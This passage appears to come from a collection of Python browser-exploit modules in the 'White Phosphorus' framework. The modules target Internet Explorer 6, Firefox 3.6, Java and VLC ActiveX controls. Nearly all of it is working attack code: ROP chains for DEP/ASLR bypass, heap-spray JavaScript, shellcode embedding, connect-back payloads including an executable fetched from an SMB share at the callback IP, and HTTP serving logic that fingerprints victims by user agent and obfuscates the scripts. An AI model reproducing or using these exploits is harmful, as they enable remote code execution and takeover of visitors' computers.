unescape("%u4cc2%u7c34") depbypass = depbypass + unescape("%u1920%u7c34") // POP ESI depbypass = depbypass + unescape("%ub2f8%u7c38") // 7c38b308-10 Value that points to a writeable ptr space depbypass = depbypass + unescape("%u7618%u7c34") // PUSH ESP,POP depbypass = depbypass + unescape("%u1111%u1111") // depbypass = depbypass + unescape("%ua458%u7c34") // VirtualAlloc depbypass = depbypass + unescape("%u1111%u1111") // depbypass = depbypass + unescape("%u1111%u1111") // depbypass = depbypass + unescape("%u1111%u1111") // depbypass = depbypass + unescape("%u1111%u1111") // depbypass = depbypass + unescape("%u07d0%u0000") // Size 7d0 depbypass = depbypass + unescape("%u1000%u0000") // Type depbypass = depbypass + unescape("%u0040%u0000") // Protect depbypass = depbypass + unescape("%u1111%u1111") // depbypass = depbypass + unescape("%u1111%u1111") // depbypass = depbypass + unescape("%u5c30%u7c34") // push esp,ret heapspray= heapspray + depbypass + shellcode; try{ for(var i = 0; i < 3000; i++) { memory[i]= heapspray.substring(0,heapspray.length); } } catch(err) {} """ script = script.replace('SHELLCODE',wp_urluencode(self.shellcode + ("\x00" * 100))) #Obfuscate the script code (disabled for this exploit) self.isClientD=False if self.isClientD: self.log("WP> Running jsObfuscator") filedata += self.jsObfuscator.obfuscate(script) else: filedata += script # Add the reset of the filedata filedata += """ </SCRIPT> <object classid="clsid:A2282403-50DE-4A2E-A118-B90AEDB1ADCC"></object> </body> </html> """ return filedata def makesploit(self,clientheader,clientbody): self.createShellcode() # The main call from ClientD from libs.spkproxy import header,body h=header('SERVER') b=body() self.log('WP> ****************************************') self.log("WP> URL Received: %s"%clientheader.URL) user_agent = clientheader.getStrValue(['User-Agent']) #self.log('WP> User agent of connecting host: %s' % user_agent) if clientheader.URL.count(self.filename): self.log('WP> Serving exploit file') data=self.makefile() if not data: return None,None b.setBody(data) h.addHeader('Content-Type','text/html') h.addHeader('Set-Cookie','SessionID=%d' % self.jsObfuscator.getXORKey()) else: self.log('WP> Redirecting to self') h.status='302' h.addHeader('Location',self.filename) h.addHeader('Content-Type','text/html') self.log('WP> ****************************************') return h,b def run(self): filedata=self.makefile() self.log("WP> Opening %s for output"%(self.filename)) fd=file(self.filename,'wb+') fd.write(filedata) fd.close() self.log('WP> Wrote to %s'%(self.filename)) return 1
class theexploit(wp_exploit, httpclientside): ###################################################################################### ## WP> Dialog Information ##########################s############################################################ PAYLOADS=["TCP Connect Back"] DEFAULT_PAYLOAD = 0 def __init__(self): wp_exploit.__init__(self) httpclientside.__init__(self) self.setInfo(DESCRIPTION) self.setInfo(VERSION) self.name = NAME self.targets = targets self.version = 0 self.isClientD = False self.use_universal = True self.encode_printable = True self.alignstack = True self.badstring = "\x00\x09\x0a\x0b\x0c\x0d\x22\x5c" #Ranomisze name for clientd self.filename="".join( [ random.choice(string.uppercase) for x in range(8) ] ) + ".html" self.sharefilename = "\\" + "".join( [ random.choice(string.lowercase) for x in range(4) ] ) + "\\"+ "".join( [ random.choice(string.lowercase) for x in range(4) ] ) + ".exe" # HTTP Custom Stuff self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") return def is_vulnerable(self, info_dict): # Called from ClientD, returns a value used to rank the exploit within attacking modules """ Check for IE 6 """ self.isClientD = True if "MSIE" in info_dict['user_agent']: self.log("WP> Target has MSIE") language = info_dict['plugins'].get("language", "") if type(language)==type([]): language=language[0] #it's a list in actuality self.log("WP> language found: %s"%language) if "en-us" in language: return 95 else: return 20 return 0 def usage(self): self.wp_usage(targets,"-F <filename>") return def neededListenerTypes(self): self.getArgs() return self.wp_createWin32Listener() def createShellcode(self): self.getArgs() self.log('WP> Targeting version %d: %s'%(self.version,targets[self.version][0])) return self.wp_createShellcode() def getArgs(self): # If Called from clientD, update shellcode accordingly if self.isClientD: if self.useSSLMOSDEF: self.DEFAULT_PAYLOAD = 1 else: self.DEFAULT_PAYLOAD = 2 # Selected shell options self.wp_getShellcodeType() # If called from clientD there will be no target here if self.target: self.host=self.target.interface self.filename=self.argsDict.get('filename',self.filename) return def displayVersions(self): for t in targets.keys(): print 'WP> Version %d: %s'%(t,targets[t][0]) return def makefile(self): payload = "\\\\" + self.callback.ip + self.sharefilename filedata="""<html> <object classid='clsid:31AE647D-11D1-4E6A-BE2D-90157640019A' id='target'></object> <script language='vbscript'> arg1 = "PAYLOAD" target.Run arg1 </script> </html> """ filedata = filedata.replace('PAYLOAD', payload) return filedata def makesploit(self,clientheader,clientbody): self.createShellcode() self.log("WP> Starting wp_smbserver_backdoor to serve Payload") try: app=self.engine.getModuleExploit("wp_smbserver_backdoor") app.link(self) # this will set all its arguments to your arguments app.argsDict['sharefilename'] = self.sharefilename ret=app.run() except: self.log("WP> Unable to start wp_smbserver_backdoor - port 443 already bound?") self.setInfo("WP> %s attacking %s:%d - completed (failed!)"%(NAME,self.host,self.port)) return None,None # The main call from ClientD from libs.spkproxy import header,body h=header('SERVER') b=body() self.log("WP> URL Received: %s"%clientheader.URL) user_agent = clientheader.getStrValue(['User-Agent']) self.log('WP> User agent of connecting host: %s' % user_agent) if clientheader.URL.count(self.filename): self.log('WP> Serving exploit file') data=self.makefile() if not data: return None,None b.setBody(data) h.addHeader('Content-Type','text/html') h.addHeader('Set-Cookie','SessionID=%d' % self.jsObfuscator.getXORKey()) else: self.log('WP> Redirecting to self') h.status='302' h.addHeader('Location',self.filename) h.addHeader('Content-Type','text/html') return h,b def run(self): filedata=self.makefile() outputfile = wp_outputpath(self.filename) self.log("WP> Opening %s for output"%outputfile) fd=file(outputfile,'wb+') fd.write(filedata) fd.close() self.log('WP> Wrote to %s'%(outputfile)) return 1
class theexploit(wp_exploit, httpclientside): ###################################################################################### ## WP> Dialog Information ##########################s############################################################ PAYLOADS=["IE Inject Connect Back", "HTTPMOSDEF SSL", "HTTPMOSDEF PLAIN", "Execute Command"] DEFAULT_PAYLOAD = 1 def __init__(self): wp_exploit.__init__(self) httpclientside.__init__(self) self.setInfo(DESCRIPTION) self.setInfo(VERSION) self.name = NAME self.targets = targets self.version = 0 self.isClientD = False self.use_universal = True self.encode_printable = True self.alignstack = True self.badstring = "\x00\x09\x0a\x0b\x0c\x0d\x22\x5c" #Ranomisze name for clientd self.filename="".join( [ random.choice(string.uppercase) for x in range(8) ] ) + ".html" # HTTP Custom Stuff self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") return def is_vulnerable(self, info_dict): # Called from ClientD, returns a value used to rank the exploit within attacking modules """ Check for IE 6 """ self.isClientD = True if "MSIE 6.0" in info_dict['user_agent']: self.log("WP> Target has MSIE 6") language = info_dict['plugins'].get("language", "") if type(language)==type([]): language=language[0] #it's a list in actuality self.log("WP> language found: %s"%language) if "en-us" in language: return 95 else: return 20 return 0 def usage(self): self.wp_usage(targets,"-F <filename>") return def neededListenerTypes(self): self.getArgs() return self.wp_createWin32Listener() def createShellcode(self): self.getArgs() self.log('WP> Targeting version %d: %s'%(self.version,targets[self.version][0])) return self.wp_createShellcode() def getArgs(self): # If Called from clientD, update shellcode accordingly if self.isClientD: if self.useSSLMOSDEF: self.DEFAULT_PAYLOAD = 1 else: self.DEFAULT_PAYLOAD = 2 # Selected shell options self.wp_getShellcodeType() # If called from clientD there will be no target here if self.target: self.host=self.target.interface self.filename=self.argsDict.get('filename',self.filename) return def displayVersions(self): for t in targets.keys(): print 'WP> Version %d: %s'%(t,targets[t][0]) return def makefile(self): searchcode = wp_SearchCode(True) payload = wp_randomstring(1024) + pack('<L', 0x7C341124) payload += wp_randomstring(12) payload += self.wp_sayonaraASLRDEPBypass((len(searchcode)+8)) payload += searchcode payload += wp_randomstring(1024) payload += 'c00kc00k' payload += self.wp_sayonaraASLRDEPBypass((len(self.shellcode)+8)) payload += self.shellcode payload += wp_randomstring(8192 - len(payload)) #Base filedata filedata="""<html> <object classid='clsid:5C2A52BD-2250-4F6B-A4D2-D1D00FCD748C' id='target' ></object> <script language='javascript'> arg1 = "PAYLOAD"; arg2 = "1"; arg3 = "1"; target.CreateProcess(arg1, arg2, arg3); </script> </html> """ filedata = filedata.replace('PAYLOAD', payload) return filedata def makesploit(self,clientheader,clientbody): self.createShellcode() # The main call from ClientD from libs.spkproxy import header,body h=header('SERVER') b=body() self.log("WP> URL Received: %s"%clientheader.URL) user_agent = clientheader.getStrValue(['User-Agent']) self.log('WP> User agent of connecting host: %s' % user_agent) if clientheader.URL.count(self.filename): self.log('WP> Serving exploit file') data=self.makefile() if not data: return None,None b.setBody(data) h.addHeader('Content-Type','text/html') h.addHeader('Set-Cookie','SessionID=%d' % self.jsObfuscator.getXORKey()) else: self.log('WP> Redirecting to self') h.status='302' h.addHeader('Location',self.filename) h.addHeader('Content-Type','text/html') return h,b def run(self): filedata=self.makefile() outputfile = wp_outputpath(self.filename) self.log("WP> Opening %s for output"%outputfile) fd=file(outputfile,'wb+') fd.write(filedata) fd.close() self.log('WP> Wrote to %s'%(outputfile)) return 1
class theexploit(wp_exploit, httpclientside): ###################################################################################### ## WP> Dialog Information ##########################s############################################################ PAYLOADS = [ "IE Inject Connect Back", "HTTPMOSDEF SSL", "HTTPMOSDEF PLAIN", "Execute Command" ] DEFAULT_PAYLOAD = 1 def __init__(self): wp_exploit.__init__(self) httpclientside.__init__(self) self.setInfo(DESCRIPTION) self.setInfo(VERSION) self.name = NAME self.targets = targets self.version = 0 self.isClientD = False self.use_universal = True self.encode_printable = True self.badstring = ( "\x00\x22\x0a\x0d\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f" "\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f") #Ranomisze name for clientd self.filename = "".join( [random.choice(string.uppercase) for x in range(8)]) + ".html" # HTTP Custom Stuff self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") return def is_vulnerable(self, info_dict): # Called from ClientD, returns a value used to rank the exploit within attacking modules """ Check for IE 6 """ self.isClientD = True if "MSIE" in info_dict['user_agent']: self.log("WP> Target has MSIE") language = info_dict['plugins'].get("language", "") if type(language) == type([]): language = language[0] #it's a list in actuality self.log("WP> language found: %s" % language) if "en-us" in language: return 95 else: return 20 return 0 def usage(self): self.wp_usage(targets, "-F <filename>") return def neededListenerTypes(self): self.getArgs() return self.wp_createWin32Listener() def createShellcode(self): self.getArgs() self.log('WP> Targeting version %d: %s' % (self.version, targets[self.version][0])) return self.wp_createShellcode() def getArgs(self): # If Called from clientD, update shellcode accordingly if self.isClientD: if self.useSSLMOSDEF: self.DEFAULT_PAYLOAD = 1 else: self.DEFAULT_PAYLOAD = 2 # Selected shell options self.wp_getShellcodeType() # If called from clientD there will be no target here if self.target: self.host = self.target.interface self.filename = self.argsDict.get('filename', self.filename) return def displayVersions(self): for t in targets.keys(): print 'WP> Version %d: %s' % (t, targets[t][0]) return def makefile(self): payload = wp_randomstring(392) payload += pack('<L', 0x7C34D5A4) # ret payload += pack('<L', 0x7C34D5A4) # ret payload += pack('<L', 0x7C34D5A4) # ret payload += pack('<L', 0x7C34D5A4) # ret payload += pack('<L', 0x7C34D5A4) # ret payload += pack('<L', 0x7C3439FA) # pop edx payload += pack('<L', 0x7C38DE60) # writeable address payload += pack('<L', 0x7C372F4F) # push esp / pop esi payload += pack('<L', 0x7C368CB3) # mov eax, esi payload += pack('<L', 0x7C34D05E) # add eax, 58 payload += pack('<L', 0x7C349EDE) # add eax, C payload += pack('<L', 0x7C341748) # pop ebx payload += pack('<L', 0x7C34272E) # pop reg / pop edi payload += pack('<L', 0x7C34C43E) # push eax / call ebx payload += pack('<L', 0x7C36C11B) # stosd payload += pack('<L', 0x7C344CC1) # pop eax payload += pack('<L', 0xFFFFEFFF) # 1001 payload += pack('<L', 0x7C34D749) # neg eax payload += pack('<L', 0x7C341AE6) # dec eax payload += pack('<L', 0x7C36C11B) # stosd payload += pack('<L', 0x7C36C11B) # stosd payload += pack('<L', 0x7C34115E) # xor eax, eax payload += pack('<L', 0x7C373B0E) # add eax, 40 payload += wp_randomstring(4) payload += pack('<L', 0x7C36C11B) # stosd payload += pack('<L', 0x7C35630C) # push edi / pop eax / pop ebp payload += pack('<L', 0x7C37A094) # VirtualAlloc payload += pack('<L', 0x7C341748) # pop ebx payload += pack('<L', 0x7C35081C) # pop esi / mov eax, ebp / pop ebp payload += pack('<L', 0x7C34C43E) # push eax / call ebx payload += wp_randomstring(4) payload += pack('<L', 0x7C3530EA) # mov eax, [eax] payload += pack('<L', 0x7C341FE4) # call eax payload += wp_randomstring(16) payload += pack('<L', 0x7C345C30) # push esp / ret payload += self.shellcode payload += wp_randomstring(100) filedata = """ <html> <body> <object type="application/x-java-applet" style="border: 1px solid red; width:100%; height:10px;"> <param name="launchjnlp" value="1"/> <param name="docbase" value="PAYLOAD"/> </object> </body> </html>""".replace('PAYLOAD', payload) return filedata def makesploit(self, clientheader, clientbody): self.createShellcode() # The main call from ClientD from libs.spkproxy import header, body h = header('SERVER') b = body() self.log("WP> URL Received: %s" % clientheader.URL) user_agent = clientheader.getStrValue(['User-Agent']) self.log('WP> User agent of connecting host: %s' % user_agent) if clientheader.URL.count(self.filename): self.log('WP> Serving exploit file') data = self.makefile() if not data: return None, None b.setBody(data) h.addHeader('Content-Type', 'text/html') h.addHeader('Set-Cookie', 'SessionID=%d' % self.jsObfuscator.getXORKey()) else: self.log('WP> Redirecting to self') h.status = '302' h.addHeader('Location', self.filename) h.addHeader('Content-Type', 'text/html') return h, b def run(self): filedata = self.makefile() self.log("WP> Opening %s for output" % (self.filename)) fd = file(self.filename, 'wb+') fd.write(filedata) fd.close() self.log('WP> Wrote to %s' % (self.filename)) return 1
class theexploit(wp_exploit, httpclientside): ###################################################################################### ## WP> Dialog Information ##########################s########################################################### PAYLOADS = [ "IE Inject Connect Back", "HTTPMOSDEF SSL", "HTTPMOSDEF PLAIN", "Execute Command" ] # Clienside exploits default to HTTPMosdef PLAIN DEFAULT_PAYLOAD = 2 def __init__(self): wp_exploit.__init__(self) httpclientside.__init__(self) self.setInfo(DESCRIPTION) self.setInfo(VERSION) self.name = NAME self.targets = targets self.version = 0 self.use_universal = True # We default these to false self.HTTPMOSDEF = False self.useSSLMOSDEF = False self.isClientD = False #self.encode_printable = True self.alignstack = True #self.badstring = "\x00\x09\x0a\x0b\x0c\x0d\x22\x5c" self.filename = "".join( [random.choice(string.uppercase) for x in range(8)]) + ".html" self.xul_filename = self.filename[0:self.filename.index('.')] + ".xul" self.js_filename = self.filename[0:self.filename.index('.')] + ".js" self.trigger_name = "".join( [random.choice(string.uppercase) for x in range(8)]) # HTTP Custom Stuff self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") return def is_vulnerable(self, info_dict): # Called from ClientD, returns a value used to rank the exploit within attacking modules """ Check for Firefox """ self.isClientD = True if "Firefox/3.6" in info_dict['user_agent']: self.log("WP> Target has Firefox/3.6") language = info_dict['plugins'].get("language", "") if type(language) == type([]): language = language[0] #it's a list in actuality self.log("WP> language found: %s" % language) if "en-us" in language: return 95 else: return 20 return 0 def usage(self): self.wp_usage(targets, "-F <filename>") return def neededListenerTypes(self): self.getArgs() return self.wp_createWin32Listener() def createShellcode(self): self.getArgs() #self.log('WP> Targeting version %d: %s'%(self.version,targets[self.version][0])) return self.wp_createShellcode() def getArgs(self): # If Called from clientD, update shellcode accordingly if getattr(self, 'useSSLMOSDEF', False): self.isClientD = True self.DEFAULT_PAYLOAD = 1 else: # Potentially called from httpserver update shellcode accordingly if self.HTTPMOSDEF: if self.useSSLMOSDEF: self.DEFAULT_PAYLOAD = 1 else: self.DEFAULT_PAYLOAD = 2 # Selected shell options self.wp_getShellcodeType() # If called from clientD there will be no target here if self.target: self.host = self.target.interface self.filename = self.argsDict.get('filename', self.filename) return def displayVersions(self): for t in targets.keys(): print 'WP> Version %d: %s' % (t, targets[t][0]) return def makeXUL(self): # make the XUL file filedata = """<?xml version="1.0"?> <?xml-stylesheet type="text/css"?> <window id="example-window" xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <html:p> Please wait for page to load.... </html:p> <script src="JS_FILENAME"/> <tree id="treeset" onselect="TRIGGER_NAME();" rows="6" flex="1"> <treecols> <treecol id="firstname" label="." primary="true" flex="3"/> </treecols> <treechildren> <treeitem container="true" open="true"> <treerow> <treecell label="."/> </treerow> </treeitem> </treechildren> </tree> </window> """ filedata = filedata.replace('JS_FILENAME', self.js_filename) filedata = filedata.replace('TRIGGER_NAME', self.trigger_name) outputfile = wp_outputpath(self.xul_filename) self.log("WP> Opening XUL file %s for output" % outputfile) fd = file(outputfile, 'wb+') fd.write(filedata) fd.close() return filedata def makeJS(self, type): if type == 1: sprayaddr = pack( '<L', 0x12001000) # spray addr + pr nopslide to DEP bypass sprayaddr += pack('<L', 0x7C341111) h2sflip = pack('<L', 0x7C34E7BA) # heap -> stack flip print len(self.shellcode) + 8198 depBypass = self.wp_sayonaraASLRDEPBypass( (len(self.shellcode) + 8198)) else: sprayaddr = pack( '<L', 0x0a001000) # spray addr + pr nopslide to DEP bypass sprayaddr += pack('<L', 0x77C1F815) h2sflip = pack('<L', 0x77C3A634) # heap -> stack flip depBypass = self.wp_UniversalDEPBypassWinXP_VP( (len(self.shellcode) + 8198)) filedata = """ function TRIGGER_NAME() { var sel = document.getElementById('treeset').view.selection; sel.tree = { invalidateRange: function(s,e) { sel.tree = null; sel.clearSelection(); var container = new Array(); var addr = unescape("SPRAYADDY"); var pad = unescape("PADDING"); var big = addr; while (big.length < 0x38) big += addr big += unescape("H2SFLIP"); big += unescape("DEPBYPASS"); big += unescape("SHELLCODE"); while (big.length < 0x50000) big += big; big=big.substring(0,0x50000); var len = big.length - pad.length - 1; for (i = 0; i < 400; ++i) container.push(big.substring(0, len) + pad); } } } function TIMER() { var tree = document.getElementById('treeset'); tree.selected=true; tree.focus(); tree.view.selection.select(0); alert("Waiting?"); } setTimeout("TIMER()",2000); """ filedata = filedata.replace('TRIGGER_NAME', self.trigger_name) filedata = filedata.replace('H2SFLIP', wp_urluencode(h2sflip)) filedata = filedata.replace('SPRAYADDY', wp_urluencode(sprayaddr)) filedata = filedata.replace('PADDING', wp_urluencode(wp_randomstring(8))) filedata = filedata.replace('DEPBYPASS', wp_urluencode(depBypass)) filedata = filedata.replace( 'SHELLCODE', wp_urluencode( wp_randomnops(8192, self.badstring) + "\x81\xC4\x06\x20\x00\x00" + self.shellcode + (wp_randomstring(100)))) filedata = filedata.replace('TIMER', wp_randomstring(10)) outputfile = wp_outputpath(self.js_filename) self.log("WP> Opening .JS file %s for output" % outputfile) fd = file(outputfile, 'wb+') fd.write(filedata) fd.close() return filedata def makeHTML(self, type): filedata = "" if type == 1: filedata = """<embed type="application/x-java-applet" code="jreVerify.class" codebase="/jsp_utils/" width="1" height="2" jumpto="/en/download/installed.jsp?" pause="2000" /> """ filedata += """<script>document.location="XUL_FILENAME"</script>""" filedata = filedata.replace('XUL_FILENAME', self.xul_filename) outputfile = wp_outputpath(self.filename) self.log("WP> Opening HTML file %s for output" % outputfile) fd = file(outputfile, 'wb+') fd.write(filedata) fd.close() return filedata def makefile(self, browser, osversion): self.xul_filename = self.filename[0:self.filename.index('.')] + ".xul" self.js_filename = self.filename[0:self.filename.index('.')] + ".js" if osversion == "Windows XP": self.log('WP> Generating Windows XP Universal exploit') self.makeHTML(0) self.makeXUL() self.makeJS(0) else: self.log('WP> Generating Windows Universal ASLR + DEP Exploit') self.makeHTML(1) self.makeXUL() self.makeJS(1) return def makesploit(self, clientheader, clientbody): self.createShellcode() # The main call from ClientD from libs.spkproxy import header, body h = header('SERVER') b = body() self.log('WP> ****************************************') self.log("WP> URL Received: %s" % clientheader.URL) user_agent = clientheader.getStrValue(['User-Agent']) cookies = clientheader.getStrValue(['Cookie']) # Get details browser, osversion = wp_browserinfo(user_agent) self.log('WP> OSVersion: %s' % osversion) self.log('WP> Browser: %s' % browser) self.log('WP> ') if clientheader.URL.count(self.filename): if cookies.count("SessionID"): self.log('WP> Exploit already sent to this client') self.log('WP> Returning blank page') data = "" b.setBody(data) h.addHeader('Content-Type', 'text/html') else: self.log('WP> Serving exploit html file %s' % self.filename) if osversion == "Windows XP": data = self.makeHTML(0) else: data = self.makeHTML(1) if not data: return None, None b.setBody(data) h.addHeader('Content-Type', 'text/html') h.addHeader('Set-Cookie', 'SessionID=%d' % self.jsObfuscator.getXORKey()) elif clientheader.URL.count(self.xul_filename): self.log('WP> Serving exploit XUL file %s' % self.xul_filename) data = self.makeXUL() if not data: return None, None b.setBody(data) h.addHeader('Content-Type', 'application/vnd.mozilla.xul+xml') elif clientheader.URL.count(self.js_filename): self.log('WP> Serving exploit .js file %s' % self.js_filename) if osversion == "Windows XP": data = self.makeJS(0) else: data = self.makeJS(1) if not data: return None, None b.setBody(data) h.addHeader('Content-Type', 'application/x-javascript') elif clientheader.URL.count("favicon.ico"): self.log('WP> Serving blank icon') b.setBody("") else: self.log('WP> Redirecting to self') h.status = '302' h.addHeader('Location', self.filename) h.addHeader('Content-Type', 'text/html') return h, b def run(self): if self.version == 1: self.makefile("", "") else: self.makefile("Windows XP", "") self.log("WP> Output complete") return 1
class theexploit(wp_exploit, httpclientside): ###################################################################################### ## WP> Dialog Information ##########################s############################################################ PAYLOADS = [ "IE Inject Connect Back", "HTTPMOSDEF SSL", "HTTPMOSDEF PLAIN", "Execute Command" ] DEFAULT_PAYLOAD = 1 def __init__(self): wp_exploit.__init__(self) httpclientside.__init__(self) self.setInfo(DESCRIPTION) self.setInfo(VERSION) self.name = NAME self.targets = targets self.version = 0 self.isClientD = False self.use_universal = True self.encode_printable = True self.alignstack = True self.badstring = "\x00\x09\x0a\x0b\x0c\x0d\x22\x5c" #Randomize name for clientd self.filename = "".join( [random.choice(string.uppercase) for x in range(8)]) + ".html" self.amv_filename = "".join( [random.choice(string.uppercase) for x in range(8)]) + ".amv" # HTTP Custom Stuff self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") return def is_vulnerable(self, info_dict): # Called from ClientD, returns a value used to rank the exploit within attacking modules """ Check for IE 6 """ self.isClientD = True if "MSIE 6.0" in info_dict['user_agent']: self.log("WP> Target has MSIE 6") language = info_dict['plugins'].get("language", "") if type(language) == type([]): language = language[0] #it's a list in actuality self.log("WP> language found: %s" % language) if "en-us" in language: return 95 else: return 20 return 0 def usage(self): self.wp_usage(targets, "-F <filename>") return def neededListenerTypes(self): self.getArgs() return self.wp_createWin32Listener() def createShellcode(self): self.getArgs() self.log('WP> Targeting version %d: %s' % (self.version, targets[self.version][0])) return self.wp_createShellcode() def getArgs(self): # If Called from clientD, update shellcode accordingly if self.isClientD: if self.useSSLMOSDEF: self.DEFAULT_PAYLOAD = 1 else: self.DEFAULT_PAYLOAD = 2 # Selected shell options self.wp_getShellcodeType() # If called from clientD there will be no target here if self.target: self.host = self.target.interface self.filename = self.argsDict.get('filename', self.filename) return def displayVersions(self): for t in targets.keys(): print 'WP> Version %d: %s' % (t, targets[t][0]) return def makefile(self): trigger = open( '3rdparty/White_Phosphorus/exploits/wp_vlc_mediaplayer_amv/amv_trigger.amv', 'rb').read() outputfile = wp_outputpath(self.amv_filename) self.log("WP> Opening %s for output" % outputfile) fd = file(outputfile, 'wb+') fd.write(trigger) fd.close() self.log('WP> Wrote to %s' % (outputfile)) selfPtr = 0x64FE8340 depbypass = pack('<L', 0x64FCE505) # pop / pop / pop / pop / pop / ret depbypass += pack('<L', 0x00000040) # flNewProtect depbypass += pack('<L', 0x00001000) # dwSize depbypass += pack('<L', 0x64FF52D4) # VP-8 depbypass += pack('<L', 0x64FCCEAE) # pop ebp / ret depbypass += wp_randomstring(4) # ebp gets munged here depbypass += pack('<L', 0x64FCB26B) # pop eax depbypass += pack('<L', selfPtr) # Readable depbypass += wp_randomstring(4) # depbypass += pack('<L', 0x64FE628B) # xchg eax, ecx depbypass += pack('<L', 0x64FCB26B) # pop eax / pop ebp / ret depbypass += pack('<L', selfPtr) # readable depbypass += pack('<L', 0x64FCCE98) # call [ebp+8] depbypass += pack('<L', 0x64FDB4EC) # pushad / ret depbypass += wp_randomstring(420) depbypass += pack('<L', 0x6E04CDF2) # push esp / ret depbypass += self.shellcode heapspraycode = pack('<L', 0x64FC53AF) # pop; ret heapspraycode += pack('<L', 0x64FC9B51) # push edx; pop esp #Base filedata filedata = """<html> <script language="JavaScript"> memory = new Array(); shellcode = unescape("SHELLCODE"); //var len = shellcode.length + 0x21; //0x21 is heap header var len=0 var heapspray = unescape("HEAPSPRAYCODE"); while(heapspray.length < 0x120000) heapspray += heapspray; heapspray = heapspray.substring(0, 0x120000 - len); prefix = unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); prefix += unescape("%u1111%u1111%u1111%u1111%u1111%u1111%u1111%u1111"); heapspray = prefix + heapspray; heapspray += unescape("DEPBYPASSCODE") + shellcode; try{ for(var i = 0; i < 400; i++) { memory[i]= heapspray.substring(0,heapspray.length); } } catch(err) {} </script><body> <object classid="clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921" codebase="http://downloads.videolan.org/pub/videolan/vlc/latest/win32/axvlc.cab" width="0" height="0" events="True"> <param name="Src" value="TRIGGER"></param> <param name="ShowDisplay" value="False" ></param> <param name="AutoLoop" value="no"></param> <param name="AutoPlay" value="yes"></param> </object> </body> </html>""" filedata = filedata.replace( 'SHELLCODE', wp_urluencode(wp_randomnops(4) + self.shellcode + ("\x00" * 100))) filedata = filedata.replace('HEAPSPRAYCODE', wp_urluencode(heapspraycode)) filedata = filedata.replace('DEPBYPASSCODE', wp_urluencode(depbypass)) filedata = filedata.replace('TRIGGER', self.amv_filename) return filedata def makesploit(self, clientheader, clientbody): self.createShellcode() # The main call from ClientD from libs.spkproxy import header, body h = header('SERVER') b = body() self.log("WP> URL Received: %s" % clientheader.URL) user_agent = clientheader.getStrValue(['User-Agent']) self.log('WP> User agent of connecting host: %s' % user_agent) if clientheader.URL.count(self.filename): self.log('WP> Serving exploit file') data = self.makefile() if not data: return None, None b.setBody(data) h.addHeader('Content-Type', 'text/html') h.addHeader('Set-Cookie', 'SessionID=%d' % self.jsObfuscator.getXORKey()) else: self.log('WP> Redirecting to self') h.status = '302' h.addHeader('Location', self.filename) h.addHeader('Content-Type', 'text/html') return h, b def run(self): filedata = self.makefile() outputfile = wp_outputpath(self.filename) self.log("WP> Opening %s for output" % outputfile) fd = file(outputfile, 'wb+') fd.write(filedata) fd.close() self.log('WP> Wrote to %s' % (outputfile)) return 1
class theexploit(wp_exploit, httpclientside): ###################################################################################### ## WP> Dialog Information ##########################s############################################################ PAYLOADS = [ "IE Inject Connect Back", "HTTPMOSDEF SSL", "HTTPMOSDEF PLAIN", "Execute Command" ] # Clienside exploits default to HTTPMosdef PLAIN for clientD DEFAULT_PAYLOAD = 2 def __init__(self): wp_exploit.__init__(self) httpclientside.__init__(self) self.setInfo(DESCRIPTION) self.setInfo(VERSION) self.name = NAME self.targets = targets self.version = 0 self.use_universal = True # We default these to false self.HTTPMOSDEF = False self.useSSLMOSDEF = False self.isClientD = False self.badstring = '' # Shellcode is on heap or in dll #Randomise name for clientd self.filename = "".join( [random.choice(string.uppercase) for x in range(8)]) + ".html" # HTTP Custom Stuff self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") # For IE7 .Net Shellcode self.pc = 0x44444444 return def is_vulnerable(self, info_dict): # Called from ClientD, if recon modules are enabled # returns a value used to rank the exploit within attacking modules """ Check for IE """ self.isClientD = True if "MSIE 6.0" in info_dict['user_agent']: self.log("WP> Target has MSIE 6.0") language = info_dict['plugins'].get("language", "") if type(language) == type([]): language = language[0] # it's a list in actuality self.log("WP> language found: %s" % language) if "en-us" in language: return 95 else: return 20 return 0 def usage(self): self.wp_usage(targets, "-F <filename>") return def neededListenerTypes(self): self.getArgs() return self.wp_createWin32Listener() def createShellcode(self): self.getArgs() #self.log('WP> Targeting version %d: %s'%(self.version,targets[self.version][0])) return self.wp_createShellcode() def getArgs(self): # If Called from clientD, update shellcode accordingly if getattr(self, 'useSSLMOSDEF', False): self.isClientD = True self.DEFAULT_PAYLOAD = 1 else: # Potentially called from httpserver update shellcode accordingly if self.HTTPMOSDEF: if self.useSSLMOSDEF: self.DEFAULT_PAYLOAD = 1 else: self.DEFAULT_PAYLOAD = 2 # Selected shell options self.wp_getShellcodeType() # If called from clientD there will be no target here if self.target: self.host = self.target.interface self.filename = self.argsDict.get('filename', self.filename) return def displayVersions(self): for t in targets.keys(): print 'WP> Version %d: %s' % (t, targets[t][0]) return def makefile(self, ourhost): # Exploit file # 3F141EAE FFD6 CALL ESI 